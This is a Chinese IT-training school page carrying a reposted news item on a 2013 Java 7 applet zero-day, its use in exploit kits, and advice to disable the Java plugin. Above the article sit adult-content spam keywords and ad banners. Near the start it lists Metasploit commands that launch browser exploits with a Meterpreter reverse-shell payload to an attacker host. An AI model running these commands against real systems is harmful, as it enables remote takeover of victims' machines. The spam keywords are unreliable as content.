久久久国产精品,成人无码精品1区2区3区免费看,日韩男人天堂,午夜77777

鄭州信息科技中專職業(yè)學(xué)院中專部

不僅僅統(tǒng)招學(xué)歷喲

  • 熱門專業(yè)！
  • 大學(xué)校園！
  • 就業(yè)保障！
  • 拿學(xué)歷又能高薪就業(yè)，誰能不愛！
了解詳情>
鄭州北大青鳥翔天信鴿參加“安心學(xué)習(xí)·放心就業(yè)”公約簽約儀式

讓每一個(gè)家庭“安心”、“放心”

  • 教學(xué)為本
  • 師愛為魂
  • 安心學(xué)習(xí)
  • 放心就業(yè)
了解詳情>
北大青鳥20周年慶典與總部年會(huì)鄭州翔天信鴿榮獲7項(xiàng)榮譽(yù)

深耕細(xì)作IT職業(yè)教育15載

  • 青鳥之星教學(xué)質(zhì)量大獎(jiǎng)
  • 卓越風(fēng)云人物
  • 北大青鳥中心理事會(huì)成員
  • 七項(xiàng)榮耀載譽(yù)而行！
了解詳情>
鄭州北大青鳥學(xué)員喜獲全國(guó)IT精英挑戰(zhàn)賽冠軍

我們教學(xué)怎么樣

  • 實(shí)力見證
  • 網(wǎng)絡(luò)組一等獎(jiǎng)
  • 網(wǎng)絡(luò)組二等獎(jiǎng)
  • 軟件組四等獎(jiǎng)
  • 200家校區(qū)脫穎而出！
了解更多>
北大青鳥榮獲315重承諾守信用放心品牌

北大青鳥職業(yè)IT20周年

  • 重承諾
  • 守信用
  • 放心品牌
  • 放心學(xué)習(xí)
  • 靠靠譜譜好就業(yè)！
了解更多>
學(xué)IT好工作高薪就業(yè)

我命由我不由天

  • 學(xué)個(gè)性的技術(shù)
  • 做愛做的事
  • 掙滿意的錢
  • 衣食無憂
  • 選擇寬且高大尚！
了解更多>
鄭州北大青鳥IT培訓(xùn)辦學(xué)14年

我們靠不靠譜

  • 14年辦學(xué)
  • 14年磨練
  • 14年成長(zhǎng)
  • 14年探索
  • 只為讓每個(gè)學(xué)員成材！
了解更多>
鄭州北大青鳥IT培訓(xùn)

不打工也牛掰

  • 好工作
  • 好環(huán)境
  • 高薪資
  • 好課程
  • 支持你成為有“錢”人！
了解更多>

學(xué)IT就讀北大青鳥

  • 好工作
  • 好未來
  • 好老師
  • 好課程
  • 支持你成為受人尊敬的人！
了解更多>
    當(dāng)前位置： 首頁 > 河南鄭州北大青鳥學(xué)校 > 技術(shù)交流 > 網(wǎng)絡(luò)安全
新年初始，Java驚爆首個(gè)0day
作者：北大青鳥 添加時(shí)間：01-20 瀏覽次數(shù)：0

  11：00 UPDATE: MSF已更新相關(guān)滲透測(cè)試模塊

 
use exploit/windows/browser/ie_cbutton_uaf
use exploit/multi/browser/java_jre17_jmxbean set SRVHOST 192+168+178+26 set TARGET 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192+168+178+26 exploit
12.jpg
 
sysinfo
getuid
詳細(xì)鏈接及視頻：
http://eromang+zataz+com/2013/01/10/java-applet-jmx-0day-remote-code-execution-metasploit-demo/
 
新年伊始，人們還沉浸在節(jié)日的歡樂氣氛中，Java又贈(zèng)送給大家一份豪禮，讓各位歡歡樂樂過個(gè)大年。日前，Java又爆了一個(gè)新的0day，可能讓攻擊者獲取計(jì)算機(jī)管理權(quán)限，Java 7 Update 10或更早的版本中存在該漏洞，該漏洞可以允許未經(jīng)身份驗(yàn)證的遠(yuǎn)程攻擊者在受害者系統(tǒng)上執(zhí)行任意代碼，該漏洞首先在‘Malware Don’t Need Coffee’博客上發(fā)表。
 
目前該漏洞在網(wǎng)絡(luò)有兩個(gè)EXP,分別出售價(jià)格為700美元和1500美元，在去年八月發(fā)現(xiàn)的CVE-2012-4681漏洞中使用的是類似的手法，查看地址。
兩個(gè)EXP被黑客用來傳播惡意軟件，國(guó)外著名的黑名工具包BlackHole Exploit Kit和Cool Exploit Kit已經(jīng)更新了該EXP。
BlackHole作者Paunch昨天在網(wǎng)絡(luò)公布，稱在BlackHole添加該JAVA 0day是送給軟件用戶的新年福利，經(jīng)AlienVault Labs確認(rèn)，BlackHole工具中使用的EXP證實(shí)為Java最新的漏洞。
US-CERT也發(fā)出了VU#625617預(yù)警。 未受信任的Java applet可通過調(diào)用setSecurityManager()函數(shù)提升權(quán)限，從而在沒有代碼簽名的情況下獲得 full privileges。
更多截獲到的攻擊樣本請(qǐng)見：
http://malware+dontneedcoffee+com/2013/01/0-day-17u10-spotted-in-while-disable+html
該漏洞影響分布圖如下：
13.jpg
 
目前建議只能禁用瀏覽器的Java plugin來防范該漏洞攻擊：
How to disable Java in Internet Explorer
How to disable Java in Firefox
How to disable Java in Chrome
文章由鄭州北大青鳥http://www.hnbenent.com/整理，轉(zhuǎn)載請(qǐng)注明！

本文由站河南北大青鳥校區(qū)整編而成，如需了解更多IT資訊類的文章、新聞、課程和學(xué)習(xí)技巧、就業(yè)案例、招生詳情等問題，可以對(duì)在線咨詢老師進(jìn)行一對(duì)一問答！

分享到：